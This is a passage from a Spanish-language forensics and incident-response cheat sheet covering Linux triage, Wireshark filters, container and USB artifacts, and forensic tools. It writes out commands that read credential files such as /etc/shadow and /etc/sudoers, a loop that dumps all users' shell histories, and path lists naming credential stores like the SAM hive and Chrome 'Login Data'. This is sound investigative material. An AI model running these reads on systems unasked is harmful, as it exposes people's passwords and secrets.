2246 | lsof -p [PID]
2247 | ```
2248 |
2249 | Mostrar información de memoria.
2250 | ```bash
2251 | cat /proc/meminfo
2252 | ```
2253 |
2254 | Mostrar sistemas de archivos montados.
2255 | ```bash
2256 | cat /proc/mounts
2257 | ```
2258 |
2259 | Buscar cuentas root.
2260 | ```bash
2261 | grep :0: /etc/passwd
2262 | ```
2263 |
2264 | Buscar archivos sin usuario.
2265 | ```bash
2266 | find / -nouser -print
2267 | ```
2268 |
2269 | Listar contraseñas cifradas e información de expiración de cuentas.
2270 | ```bash
2271 | cat /etc/shadow
2272 | chage --list [USUARIO]
2273 | ```
2274 |
2275 | Listar información de grupos del sistema y servicio.
2276 | ```bash
2277 | cat /etc/group
2278 | ```
2279 |
2280 | Listar el archivo sudoers, comprobar usuarios que puedan elevarse en contexto privilegiado.
2281 | ```bash
2282 | cat /etc/sudoers
2283 | ```
2284 |
2285 | Listar cuentas de usuario y servicio.
2286 | ```bash
2287 | cat /etc/passwd
2288 | ```
2289 |
2290 | Listar el estado de la contraseña de un usuario.
2291 | ```bash
2292 | passwd -S [USUARIO]
2293 | ```
2294 |
2295 | "Listar inicios de sesión más recientes.
2296 | ```bash
2297 | lastlog
2298 | ```
2299 |
2300 | Listar los últimos usuarios conectados.
2301 | ```bash
2302 | last
2303 | ```
2304 |
2305 | Listar quién está conectado y que procesos está ejecutando.
2306 | ```bash
2307 | who
2308 | w
2309 | ```
2310 |
2311 | ### 📜 Historial de comandos de la Shell de Linux (.bash_history & .zsh_history)
2312 |
2313 | Realizar un backup del historial de comandos ejecutados por todos los usuarios del sistema, incluido el usuario /root, donde están creados los ficheros: `.bash_history` o `.zsh_history`.
2314 | ```bash
2315 | for i in /home/* /root; do [ -d "$i" ] && { [ -s "$i"/.bash_history ] || [ -s "$i"/.zsh_history ]; } && { [ -f "$i"/.bash_history ] && cat "$i"/.bash_history || true; [ -f "$i"/.zsh_history ] && cat "$i"/.zsh_history || true; } > "$(basename "$i")_history_backup.txt"; done
2316 | ```
2317 |
2318 | ### 📜 Voldado de todos los directorios y ficheros de Linux
2319 |
2320 | ```bash
2321 | find / -type f 2> /dev/null > dump_sys_files.txt
2322 | find / -type d 2> /dev/null > dump_sys_dirs.txt
2323 | ```
2324 |
2325 | ### 📜 Volcado de Memoria RAM en Linux con LiME (Linux Memory Extractor)
2326 |
2327 | **LiME** es un LKM (Loadable Kernel Module) que permite la adquisición de memoria volátil de Linux y dispositivos basados en Linux como sistemas móviles Android. Permite capturas de memoria más sólidas que otras herramientas desde el punto de vista forense.
2328 |
2329 | Una vez instalado LiME y cargado el módulo en el kernel en formato lime podemos analizarlo posteriormente con **Volatility**.
2330 | ```bash
2331 | apt install build-essential linux-headers-(uname -r) ; git clone https://github.com/504ensicsLabs/LiME ; cd Lime/src ; make
2332 | sudo insmod lime-3.5.0-23-generic.ko "path=/media/Forensics/ram.lime format=lime"
2333 | ```
2334 |
2335 | ### 📜 Comprobar si un usuario ejecutó el comando "sudo"
2336 |
2337 | En un escenario en el que un posible atacante creó un nuevo usuario y eliminó el historial de comandos, pero aún no se puede confirmar si el atacante obtuvo privilegios de root ejecutando el comando "sudo".
2338 |
2339 | Verificar si el archivo **".sudo_as_admin_successful"** está en el directorio de inicio del usuario. Si se encuentra, entonces el atacante ejecutó el comando "sudo".
2340 |
2341 | ### 📜 Detectar malware Linux fileless (memfd)
2342 |
2343 | Estos malware asignan bytes maliciosos en la memoria y se ejecutan. Una forma de detección es usar *memfd* para cualquier proceso y esto nos puede indicar malware sin archivos (fileless).
2344 |
2345 | ```bash
2346 | cat /proc/*/maps | grep "memfd"
2347 | ```
2348 |
2349 | ## 📁 Redes
2350 |
2351 | ### 📜 Filtros Wireshark para analistas
2352 |
2353 | - Referencia Wireshark: https://www.wireshark.org/docs/dfref
2354 | - Brim Zed (herramienta que simplifica el análisis de datos superestructurados .pcapng): https://www.brimdata.io/download
2355 |
2356 | Filtrar por dirección IP. Donde "x.x.x.x" es la dirección IP que desea filtrar.
2357 | ```
2358 | ip.addr == x.x.x.x
2359 | ```
2360 |
2361 | Filtrar por rango de direcciones IP. Donde "x.x.x.x" e "y.y.y.y" son las direcciones IP inicial y final del rango.
2362 | ```
2363 | ip.addr >= x.x.x.x and ip.addr <= y.y.y.y
2364 | ```
2365 |
2366 | Filtrar por interfaz de red. Mostrar sólo los paquetes capturados en la interfaz eth0.
2367 | ```
2368 | interface == eth0
2369 | ```
2370 |
2371 | Filtrar por puerto. Donde "80" y "53" son los números de puerto que desees filtrar.
2372 | ```
2373 | tcp.port == 80
2374 | udp.port == 53
2375 | ```
2376 |
2377 | Filtrar por longitud del paquete. Mostrar sólo los paquetes de más de 100 bytes.
2378 | ```
2379 | frame.len > 100
2380 | ```
2381 |
2382 | Filtrar por dirección MAC de origen o destino. Donde "xx:xx:xx:xx:xx:xx" es la dirección MAC origen y destino que desees filtrar.
2383 | ```
2384 | eth.src == xx:xx:xx:xx:xx:xx
2385 | eth.dst == xx:xx:xx:xx:xx:xx
2386 | ```
2387 |
2388 | Filtrar por método HTTP. Mostrar sólo los paquetes con método GET. Puede sustituir GET por otros métodos HTTP como POST, PUT, DELETE, etc.
2389 | ```
2390 | http.request.method == GET
2391 | http.request.method == POST && frame contains "login"
2392 | ```
2393 |
2394 | Filtrar por códigos de estado HTTP.
2395 | ```
2396 | # Respuestas Ok.
2397 | http.response.code == 200
2398 |
2399 | # Respuestas de redireccionamiento. 301 redirección permanente y 302 redirección temporal.
2400 | http.response.code == 301 or http.response.code == 302
2401 |
2402 | # Respuestas de error "Not Found".
2403 | http.response.code == 404
2404 | ```
2405 |
2406 | Filtrar por URI HTTP. Mostrar sólo los paquetes que tienen un URI que contiene "domain.com". Puede sustituir "domain.com" por cualquier otra cadena URI.
2407 | ```
2408 | http.request.uri contains 'domain.com'
2409 | ```
2410 |
2411 | Filtrar por cookie HTTP. Mostrar sólo los paquetes que contienen una cookie con el nombre "sessionid".
2412 | ```
2413 | http.cookie contains 'sessionid'
2414 | ```
2415 |
2416 | Filtrar por tamaño de paquete. Mostrar sólo los paquetes de más de 1000 bytes.
2417 | ```
2418 | frame.len > 1000
2419 | ```
2420 |
2421 | Filtrar por aquellos paquetes que contengan el término especificado
2422 | ```
2423 | tcp contains 'TERMINO'
2424 | ```
2425 |
2426 | Filtrar todos los paquetes que no utilicen el protocolo ARP, ICMP, DNS, SSDP o UDP.
2427 | ```
2428 | !(arp or icmp or dns or ssdp or udp)
2429 | ```
2430 |
2431 | Filtrar todos los paquetes cuyo puerto TCP origen o destino sea 22 o 443.
2432 | ```
2433 | (tcp.port in {22 443})
2434 | ```
2435 | Filtros DNS.
2436 | ```
2437 | # Paquetes DNS que tengan un nombre de dominio que contenga "domain.com"
2438 | dns.qry.name contains 'domain.com'
2439 | dns.resp.name == domain.com
2440 |
2441 | # Consulta/respuesta de puntero DNS (PTR, DNS Inverso)
2442 | dns.qry.type == 12
2443 |
2444 | # Consultas MX
2445 | dns.qry.type == 15
2446 |
2447 | # Solo consultas DNS.
2448 | dns.flags.response == 0
2449 |
2450 | # Solo consultas de respuesta DNS.
2451 | dns.flags.response eq 1 # only DNS response queries
2452 |
2453 | # Errores DNS.
2454 | dns.flags.rcode != 0 or (dns.flags.response eq 1 and dns.qry.type eq 28 and !dns.aaaa)
2455 |
2456 | # NXDominio no existente.
2457 | dns.flags.rcode == 3
2458 |
2459 | # No Error, nslookup microsoft.com 193.247.121.196.
2460 | ((dns.flags.rcode == 3) && !(dns.qry.name contains ".local") && !(dns.qry.name contains ".svc") && !(dns.qry.name contains ".cluster"))
2461 | (dns.flags.rcode == 0) && (dns.qry.name == "microsoft.com")
2462 |
2463 | dns.flags.rcode != 0 or (dns.flags.response eq 1 and dns.qry.type eq 28 and !dns.aaaa)
2464 | ```
2465 |
2466 | Filtros TLS.
2467 | ```
2468 | # TLS handshake.
2469 | tls.record.content_type == 22
2470 |
2471 | # Filtrar por tipo de handshake SSL/TLS.
2472 | ssl.handshake.type = TLS
2473 | ssl.handshake.type = SSL
2474 |
2475 | # Paquetes "TLS Client Hello".
2476 | tls.handshake.type == 1
2477 |
2478 | # Paquetes "TLS Server Hello".
2479 | tls.handshake.type == 2
2480 |
2481 | # Conexión cerrada.
2482 | tls.record.content_type == 21
2483 |
2484 | # Paquetes relacionados con la comunicación entre el cliente y el servidor que involucren el sitio web "badsite.com".
2485 | tls.handshake.extensions_server_name contains "badsite.com"
2486 |
2487 | # Cuando se produce el timeout, el cliente suele enviar un RST al servidor para filtrar los paquetes con el timeout del handshake.
2488 | (tcp.flags.reset eq 1) and (tcp.flags.ack eq 0)
2489 |
2490 | # Paquetes que tardan en responder a SYNACK durante el handshake del servidor.
2491 | tcp.flags eq 0x012 && tcp.time_delta gt 0.0001
2492 | ```
2493 |
2494 | Filtros GeoIP.
2495 | ```
2496 | # Excluir el tráfico procedente de Estados Unidos.
2497 | ip and not ip.geoip.country == "United States"
2498 |
2499 | # Ciudad de destino [IPv4].
2500 | ip.geoip.dst_city == "Dublin"
2501 |
2502 | # Ciudad de origen o destino [IPv4].
2503 | ip.geoip.city == "Dublin"
2504 | ip.geoip.dst_country == "Ireland"
2505 | ip.geoip.dst_country_iso == "IE"
2506 |
2507 | # Todos los países de destino excepto Estados Unidos.
2508 | !ip.geoip.country == "United States"
2509 | not ip.geoip.country == "United States"
2510 | ```
2511 |
2512 | Establecer un filtro para los valores HEX de 0x22 0x34 0x46 en cualquier offset.
2513 | ```
2514 | udp contains 22:34:46
2515 | ```
2516 |
2517 | Filtrar por flags TCP. Mostrar sólo los paquetes con la bandera SYN activada. Se puede sustituir SYN por cualquier otro indicador TCP como: ACK, RST, FIN, URG o PSH.
2518 | ```
2519 | tcp.flags.syn == 1
2520 | ```
2521 |
2522 | Mostrar todos los flags SYN+ACK TCP.
2523 | ```
2524 | tcp.flags.syn == 1 && tcp.flags.ack == 1
2525 | ```
2526 |
2527 | Mostrar todos los flags RST TCP.
2528 | ```
2529 | tcp.flags.rst == 1
2530 | ```
2531 |
2532 | Mostrar paquetes con reconocimientos duplicados en TCP.
2533 | ```
2534 | tcp.analysis.duplicate_ack
2535 | ```
2536 |
2537 | ## 📁 Contenedores
2538 |
2539 | ### 📜 Análisis Forense en contenedores Docker
2540 |
2541 | Si un contenedor malicioso modifica archivos o acciones de malware al iniciarse, es posible que se pierdan muchos artefactos de seguridad. La solución podría ser trabajar con el contenedor que se crea pero que no se inicia.
2542 |
2543 | Extraer el sistema de archivos de contenedores de Docker.
2544 |
2545 | - Referencia: https://iximiuz.com/en/posts/docker-image-to-filesystem
2546 |
2547 | Ejemplo con una imagen oficial de nginx.
2548 |
2549 | Opción 1: **`docker export`**
2550 | ```bash
2551 | docker pull nginx
2552 | CONT_ID=$(docker run -d nginx)
2553 | docker export ${CONT_ID} -o nginx.tar.gz
2554 |
2555 | mkdir rootfs
2556 | tar -xf nginx.tar.gz -C rootfs
2557 | ls -lathF rootfs
2558 | ```
2559 |
2560 | Opción 2: **`docker build`**
2561 | ```bash
2562 | echo 'FROM nginx' > Dockerfile
2563 | DOCKER_BUILDKIT=1 docker build -o rootfs .
2564 | ls -lathF rootfs
2565 | ```
2566 |
2567 | Opción 3: **`crt (containerd CLI)`**
2568 |
2569 | Montar imágenes de contenedores como carpetas locales del host.
2570 | ```bash
2571 | ctr image pull docker.io/library/nginx:latest
2572 | mkdir rootfs
2573 | ctr image mount docker.io/library/nginx:latest rootfs
2574 | ls -lathF rootfs
2575 | ```
2576 |
2577 | ## 📁 Android & iOS
2578 |
2579 | ### 📜 Forense Android: Evidencias de imágenes eliminadas y enviadas por WhatsApp
2580 |
2581 | Un usuario envió imágenes a través de Whatsapp, después las eliminó de su dispositivo móvil, pero estas imágenes todavía están en la carpeta "sent" de WhatsApp.
2582 |
2583 | ```
2584 | "Internal storage/Android/media/com.whatsapp/WhatsApp/Media/WhatsApp Images/Sent"
2585 | ```
2586 |
2587 | ## 📁 Varios
2588 |
2589 | ### 📜 Artefactos en dispositivos USB en Windows, Linux y MacOS
2590 |
2591 | `Windows`
2592 |
2593 | Ramas del registro USB a analizar:
2594 | ```
2595 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB
2596 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR
2597 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Portable Devices\Devices
2598 | HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices
2599 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceClasses
2600 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\SWD\WPDBUSENUM
2601 | HKEY_USERS\SID\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2
2602 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
2603 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Portable Devices
2604 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Search\VolumeInfoCache
2605 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\EMDMgmt
2606 | ```
2607 |
2608 | Otros artefactos USB a analizar:
2609 | ```
2610 | C:\Windows\System32\winevt\Logs\Microsoft-Windows-DriverFrameworks-UserMode%4Operational.evtx (Windows 7)
2611 | C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-ClassPnP/Operational.evtx
2612 | C:\Windows\System32\winevt\Logs\Microsoft-Windows-WPD-MTPClassDriver/Operational.evtx
2613 | C:\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx
2614 | C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4Operational.evtx
2615 | C:\Windows\INF\setupapi.dev.log
2616 | C:\Windows\INF\setupapi.dev.yyyymmdd_hhmmss.log
2617 | C:\Windows\setupapi.log
2618 | C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\
2619 |
2620 | Carpeta "Windows.old"
2621 | Volume Shadow Copies
2622 | ```
2623 |
2624 | **Event ID 6416**: El Sistema reconoció un nuevo dispositivo externo.
2625 | - https://learn.microsoft.com/es-es/windows/security/threat-protection/auditing/event-6416
2626 |
2627 | Otros eventos:
2628 | ```
2629 | 10000: Primera conexión dispositivo USB.
2630 | 20001: Instalación o actualización de UserPNP.
2631 | 24576: Instalación correcta de controladores WPD (Windows Portable Devices).
2632 | ```
2633 |
2634 | **Logman**: Capturar el seguimiento de eventos de USBs.
2635 | - https://learn.microsoft.com/es-es/windows-hardware/drivers/usbcon/how-to-capture-a-usb-event-trace
2636 |
2637 | `Linux`
2638 |
2639 | Distribuciones basadas en Debian.
2640 | ```
2641 | /var/log/syslog
2642 | ```
2643 |
2644 | Distribuciones basadas en Red Hat.
2645 |
2646 | Habilitar un registro detallado USB configurando "EnableLogging=1" en el fichero "/etc/usb_modeswitch.conf".
2647 | ```
2648 | /var/log/messages
2649 |
2650 | /var/log/usb_modeswitch_
2651 | ```
2652 |
2653 | `Mac OSX`
2654 | ```
2655 | /private/var/log/kernel.log
2656 | /private/var/log/kernel.log.incrementalnumber.bz2
2657 | /private/var/log/system.log
2658 | /private/var/log/system.log.incrementalnumber.gz
2659 | ```
2660 |
2661 | `Herramientas de terceros`
2662 | - USBDeview: https://www.nirsoft.net/utils/usb_devices_view.html
2663 | - USB Forensic Tracker (USBFT) Windows, Linux y MacOS: https://www.orionforensics.com/forensics-tools/usb-forensic-tracker
2664 |
2665 | ### 📜 Recopilación de artefactos de paths en Windows, Linux y MacOS
2666 |
2667 | `WINDOWS`
2668 |
2669 | System Root (C:\Windows):
2670 | ```
2671 | %SYSTEMROOT%\Tasks\*
2672 | %SYSTEMROOT%\Prefetch\*
2673 | %SYSTEMROOT%\System32\sru\*
2674 | %SYSTEMROOT%\System32\winevt\Logs\*
2675 | %SYSTEMROOT%\System32\Tasks\*
2676 | %SYSTEMROOT%\System32\Logfiles\W3SVC1\*
2677 | %SYSTEMROOT%\Appcompat\Programs\*
2678 | %SYSTEMROOT%\SchedLgU.txt
2679 | %SYSTEMROOT%\inf\setupapi.dev.log
2680 | %SYSTEMROOT%\System32\drivers\etc\hosts
2681 | %SYSTEMROOT%\System32\config\SAM
2682 | %SYSTEMROOT%\System32\config\SOFTWARE
2683 | %SYSTEMROOT%\System32\config\SECURITY
2684 | %SYSTEMROOT%\System32\config\SOFTWARE
2685 | %SYSTEMROOT%\System32\config\SAM.LOG1
2686 | %SYSTEMROOT%\System32\config\SOFTWARE.LOG1
2687 | %SYSTEMROOT%\System32\config\SECURITY.LOG1
2688 | %SYSTEMROOT%\System32\config\SOFTWARE.LOG1
2689 | %SYSTEMROOT%\System32\config\SAM.LOG2
2690 | %SYSTEMROOT%\System32\config\SOFTWARE.LOG2
2691 | %SYSTEMROOT%\System32\config\SECURITY.LOG2
2692 | %SYSTEMROOT%\System32\config\SOFTWARE.LOG2
2693 | ```
2694 |
2695 | Program Data (C:\ProgramData):
2696 | ```
2697 | %PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\Startup\*
2698 | ```
2699 |
2700 | Drive Root (C:\\)
2701 | ```
2702 | %SYSTEMDRIVE%\$Recycle.Bin\*\$I*
2703 | %SYSTEMDRIVE%\$Recycle.Bin\$I*
2704 | %SYSTEMDRIVE%\$LogFile
2705 | %SYSTEMDRIVE%\$MFT
2706 | ```
2707 |
2708 | Perfiles usuarios (C:\Users\\*):
2709 | ```
2710 | %USERPROFILE%\NTUser.DAT
2711 | %USERPROFILE%\NTUser.DAT.LOG1
2712 | %USERPROFILE%\NTUser.DAT.LOG2
2713 | %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\*
2714 | %USERPROFILE%\AppData\Local\Microsoft\Windows\PowerShell\*
2715 | %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
2716 | %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Visual Studio Code Host_history.txt
2717 | %USERPROFILE%\AppData\Local\Microsoft\Windows\PowerShell\ScheduledJobs\*
2718 | %USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\*
2719 | %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\*
2720 | %USERPROFILE%\AppData\Local\Microsoft\Windows\Explorer\*
2721 | %USERPROFILE%\AppData\Local\Microsoft\Windows\UsrClass.dat
2722 | %USERPROFILE%\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG1
2723 | %USERPROFILE%\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG2
2724 | %USERPROFILE%\AppData\Local\ConnectedDevicesPlatform\*
2725 | %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\History\*
2726 | %USERPROFILE%\AppData\Local\Microsoft\Edge\User Data\Default\History\*
2727 | %USERPROFILE%\AppData\Local\Temp
2728 | ```
2729 |
2730 | `LINUX`
2731 |
2732 | Paths sistema:
2733 | ```
2734 | /etc/hosts.allow
2735 | /etc/hosts.deny
2736 | /etc/hosts
2737 | /etc/passwd
2738 | /etc/group
2739 | /etc/crontab
2740 | /etc/cron.allow
2741 | /etc/cron.deny
2742 | /etc/anacrontab
2743 | /etc/apt/sources.list
2744 | /etc/apt/trusted.gpg
2745 | /etc/apt/trustdb.gpg
2746 | /etc/resolv.conf
2747 | /etc/fstab
2748 | /etc/issues
2749 | /etc/issues.net
2750 | /etc/insserv.conf
2751 | /etc/localtime
2752 | /etc/timezone
2753 | /etc/pam.conf
2754 | /etc/rsyslog.conf
2755 | /etc/xinetd.conf
2756 | /etc/netgroup
2757 | /etc/nsswitch.conf
2758 | /etc/ntp.conf
2759 | /etc/yum.conf
2760 | /etc/chrony.conf
2761 | /etc/chrony
2762 | /etc/sudoers
2763 | /etc/logrotate.conf
2764 | /etc/environment
2765 | /etc/hostname
2766 | /etc/host.conf
2767 | /etc/fstab
2768 | /etc/machine-id
2769 | /etc/screen-rc
2770 | /etc/rc.d/*
2771 | /etc/cron.daily/*
2772 | /etc/cron.hourly/*
2773 | /etc/cron.weekly/*
2774 | /etc/cron.monthly/*
2775 | /etc/modprobe.d/*
2776 | /etc/modprobe-load.d/*
2777 | /etc/*-release
2778 | /etc/pam.d/*
2779 | /etc/rsyslog.d/*
2780 | /etc/yum.repos.d/*
2781 | /etc/init.d/*
2782 | /etc/systemd.d/*
2783 | /etc/default/*
2784 | /var/log/*
2785 | /var/spool/at/*
2786 | /var/spool/cron/*
2787 | /var/spool/anacron/cron.daily
2788 | /var/spool/anacron/cron.hourly
2789 | /var/spool/anacron/cron.weekly
2790 | /var/spool/anacron/cron.monthly
2791 | /boot/grub/grub.cfg
2792 | /boot/grub2/grub.cfg
2793 | /sys/firmware/acpi/tables/DSDT
2794 | ```
2795 |
2796 | Paths usuarios:
2797 | ```
2798 | /root/.*history
2799 | /root/.*rc
2800 | /root/.*_logout
2801 | /root/.ssh/config
2802 | /root/.ssh/known_hosts
2803 | /root/.ssh/authorized_keys
2804 | /root/.selected_editor
2805 | /root/.viminfo
2806 | /root/.lesshist
2807 | /root/.profile
2808 | /root/.selected_editor
2809 | /home/*/.*history
2810 | /home/*/.ssh/known_hosts
2811 | /home/*/.ssh/config
2812 | /home/*/.ssh/autorized_keys
2813 | /home/*/.viminfo
2814 | /home/*/.profile
2815 | /home/*/.*rc
2816 | /home/*/.*_logout
2817 | /home/*/.selected_editor
2818 | /home/*/.wget-hsts
2819 | /home/*/.gitconfig
2820 | /home/*/.mozilla/firefox/*.default*/*/*.sqlite*
2821 | /home/*/.mozilla/firefox/*.default*/*/*.json
2822 | /home/*/.mozilla/firefox/*.default*/*/*.txt
2823 | /home/*/.mozilla/firefox/*.default*/*/*.db*
2824 | /home/*/.config/google-chrome/Default/History*
2825 | /home/*/.config/google-chrome/Default/Cookies*
2826 | /home/*/.config/google-chrome/Default/Bookmarks*
2827 | /home/*/.config/google-chrome/Default/Extensions/*
2828 | /home/*/.config/google-chrome/Default/Last*
2829 | /home/*/.config/google-chrome/Default/Shortcuts*
2830 | /home/*/.config/google-chrome/Default/Top*
2831 | /home/*/.config/google-chrome/Default/Visited*
2832 | /home/*/.config/google-chrome/Default/Preferences*
2833 | /home/*/.config/google-chrome/Default/Login Data*
2834 | /home/*/.config/google-chrome/Default/Web Data*
2835 | ```
2836 |
2837 | `MACOS`
2838 |
2839 | Paths sistema:
2840 | ```
2841 | /etc/hosts.allow
2842 | /etc/hosts.deny
2843 | /etc/hosts
2844 | /etc/passwd
2845 | /etc/group
2846 | /etc/rc.d/*
2847 | /var/log/*
2848 | /private/etc/rc.d/*
2849 | /private/etc/hosts.allow
2850 | /private/etc/hosts.deny
2851 | /private/etc/hosts
2852 | /private/etc/passwd
2853 | /private/etc/group
2854 | /private/var/log/*
2855 | /System/Library/StartupItems/*
2856 | /System/Library/LaunchAgents/*
2857 | /System/Library/LaunchDaemons/*
2858 | /Library/StartupItems/*
2859 | /Library/LaunchAgents/*
2860 | /Library/LaunchDaemons/*
2861 | /.fseventsd/*
2862 | ```
2863 |
2864 | Paths librerías:
2865 | ```
2866 | */Library/*Support/Google/Chrome/Default/*
2867 | */Library/*Support/Google/Chrome/Default/History*
2868 | */Library/*Support/Google/Chrome/Default/Cookies*
2869 | */Library/*Support/Google/Chrome/Default/Bookmarks*
2870 | */Library/*Support/Google/Chrome/Default/Extensions/*
2871 | */Library/*Support/Google/Chrome/Default/Extensions/Last*
2872 | */Library/*Support/Google/Chrome/Default/Extensions/Shortcuts*
2873 | */Library/*Support/Google/Chrome/Default/Extensions/Top*
2874 | */Library/*Support/Google/Chrome/Default/Extensions/Visited*
2875 | ```
2876 |
2877 | Paths usuarios:
2878 | ```
2879 | /root/.*history
2880 | /Users/*/.*history
2881 | ```
2882 |
2883 | Otros paths:
2884 | ```
2885 | */places.sqlite*
2886 | */downloads.sqlite*
2887 | ```
2888 |
2889 | ## 📁 Herramientas
2890 |
2891 | ### 📜 Autopsy: Herramienta avanzada de análisis forense digital
2892 |
2893 | Es una interfaz gráfica de usuario para Sleuth Kit que facilita la realización de análisis forenses digitales. Proporciona características avanzadas para análisis de imágenes forenses, análisis de metadatos, búsqueda avanzadas, análisis de memoria volátil, generación de informes detallados, integración con otras herramientas forenses.
2894 |
2895 | - https://www.autopsy.com
2896 |
2897 | ### 📜 X-Ways Forensics: Herramienta avanzada de análisis forense digital
2898 |
2899 | Es una herramienta forense que ofrece análisis detallados, adquisición, examen y presentación de evidencia digital en investigaciones forenses. Otra alternativa similar a Autopsy.
2900 |
2901 | - https://www.x-ways.net/forensics
2902 |
2903 | ### 📜 Volatility: Análisis de volcados de memoria
2904 |
2905 | Es una herramienta de análisis forense de memoria volátil (RAM) que puede utilizarse para analizar volcados de memoria y buscar indicadores de actividad maliciosa o manipulación de archivos en la memoria del sistema.
2906 |
2907 | - https://volatilityfoundation.org
2908 |
2909 | ### 📜 WinTriage (Securizame): Análisis y extracción de artefactos forenses Windows
2910 |
2911 | Realiza extracciones de diferentes artefactos forenses de usuario, sistema y sistema de ficheros de un ordenador, tanto en caliente como a partir de una imagen forense, para que posteriormente puedan ser analizados e interpretados en una investigación por parte de un profesional analista de DFIR.
2912 |
2913 | - https://www.securizame.com/wintriage
2914 |
2915 | ### 📜 Velociraptor: Recolección, monitorización y hunting para análisis forense digital y respuesta a incidentes en Windows
2916 |
2917 | Se utiliza para recopilar información sobre sistemas Windows en tiempo real, permite obtener una visión detallada del estado de un sistema y de las actividades que se están llevando a cabo en él a través de consultas Velociraptor Query Language (VQL) donde brindan acceso a las API de Windows. La monitorización en tiempo real incluye información del sistema, actividad del usuario, registros de eventos, procesos en ejecución, archivos abiertos, conexiones de red, se puede definir y personalizar los artefactos, entre otras características.
2918 |
2919 | - https://github.com/Velocidex/velociraptor
2920 | - https://docs.velociraptor.app
2921 |
2922 | ### 📜 LogonTracer: Trazabilidad de inicios de sesión en Active Directory
2923 |
2924 | Herramienta para investigar inicios de sesión maliciosos mediante la visualización y el análisis de los registros de eventos de Windows Active Directory. Asocia un nombre de host (o una dirección IP) y un nombre de cuenta encontrados en eventos relacionados con el inicio de sesión y lo muestra como un gráfico. De esta forma, es posible ver en qué cuenta se produce el intento de inicio de sesión y qué host se utiliza.
2925 |
2926 | - https://github.com/JPCERTCC/LogonTracer
2927 |
2928 | ### 📜 AuthLogParser: Análisis auth.log, resumen de registros relacionados con autenticación
2929 |
2930 | Análisis de registros de autenticación de Linux (auth.log). AuthLogParser escanea el archivo de registro auth.log y extrae información clave, como inicios de sesión SSH, creaciones de usuarios, nombres de eventos, direcciones IP y más. Proporciona una descripción general clara y concisa de las actividades registradas en los registros de autenticación.
2931 |
2932 | - https://github.com/YosfanEilay/AuthLogParser
2933 |
2934 | ### 📜 Skadi: Análisis de artefactos e imágenes forenses
2935 |
2936 | Pack de herramientas que permite la recopilación, el procesamiento y el análisis avanzado de artefactos e imágenes forenses. Funciona en máquinas MacOS, Windows y Linux.
2937 |
2938 | - https://github.com/orlikoski/Skadi
2939 |
2940 | ### 📜 GRR - Google Rapid Response
2941 |
2942 | Es un framework de respuesta a incidentes centrado en análisis forense remoto en vivo. GRR es un cliente (agente) de Python que se instala en los sistemas de destino y una infraestructura de servidor de Python que puede administrar y comunicarse con los clientes. https://grr-doc.readthedocs.io/en/latest
2943 |
2944 | - https://github.com/google/grr
2945 |
2946 | ### 📜 Arkime - Almacenar e indexar el tráfico de red en formato PCAP
2947 |
2948 | Almacenar e indexar el tráfico de red en formato PCAP estándar, proporcionando un acceso indexado rápido. Se proporciona una interfaz web intuitiva y sencilla para explorar, buscar y exportar PCAP.
2949 |
2950 | - https://github.com/arkime/arkime
2951 |
2952 | ### 📜 Live Forensicator - Recolección automatizada de información y artefactos en Windows, Linux y MacOS
2953 |
2954 | Recopila información diferente del sistema (Windows, Linux y MacOS) para su posterior revisión en busca de comportamientos anómalos o entrada de datos inesperada, también busca archivos o actividades inusuales.
2955 |
2956 | - https://github.com/Johnng007/Live-Forensicator
2957 |
2958 | ### 📜 FTK Forensic Toolkit (Exterro)
2959 | FTK (Forensic Toolkit) de Exterro permite recopilar, procesar y analizar datos en investigaciones forenses. Facilita la identificación y preservación de evidencia digital para soportar investigaciones y litigios.
2960 |
2961 | - https://www.exterro.com/digital-forensics-software/forensic-toolkit
2962 |
2963 | ### 📜 EnCase Forensic (ondata)
2964 |
2965 | *EnCase Endpoint Investigator de ondata*: busca, recolecta, preserva y analiza gran cantidad de datos y genera informes detallados sobre estos hallazgos; todo de forma centralizada, con interrupciones mínimas y sin importar el tamaño ni la complejidad del entorno de red.
2966 |
2967 | *EnCase Forensics de ondata*: recolecta, preserva y examina evidencia de dispositivos electrónicos, apoyando investigaciones criminales y legales con capacidades avanzadas de análisis y generación de informes detallados.
2968 |
2969 | - https://www.ondata.es/recuperar/forensics-guidance.htm
2970 |
2971 | ### 📜 SANS DFIR - Posters & Cheat Sheets
2972 |
2973 | - https://www.sans.org/posters/?focus-area=digital-forensics
2974 |
2975 | ---
2976 |
2977 | # 📓 Detección de técnicas de evasión en sistemas SIEM, SOC y Anti-Forense
2978 |
2979 | ## 📁 Windows
2980 |
2981 | ### 📜 Comando Windows: "net" y "net1"
2982 |
2983 | El comando "net1" funcionará igual que el comando "net".
2984 | ```cmd
2985 | net1 accounts
2986 | net accounts
2987 | ```
2988 |
2989 | ### 📜 Detectar técnicas maliciosas realizadas a través de CertUtil (LOLBin)
2990 |
2991 | El comando "certutil.exe" puede ser utilizado por un actor malicioso para realizar diversas acciones maliciosas. Es una buena postura de seguridad configurar reglas preventivas y alertas para detectar estas técnicas.
2992 |
